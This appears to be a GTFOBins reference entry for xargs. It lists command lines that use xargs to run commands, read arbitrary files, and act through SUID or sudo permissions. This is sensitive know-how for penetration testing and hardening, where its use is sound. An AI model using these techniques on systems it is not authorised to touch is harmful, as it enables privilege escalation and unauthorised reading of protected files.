GTFOBins.github.io/_gtfobins/xargs.md
2018-07-16 15:01:50 +02:00

479 B

functions
execute-non-interactive file-read suid-enabled sudo-enabled
code
xargs -a /dev/null /usr/bin/id
description code
This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only. LFILE=file_to_read xargs -a "$LFILE" -0
code
./xargs -a /dev/null /usr/bin/id
code
sudo xargs -a /dev/null /usr/bin/id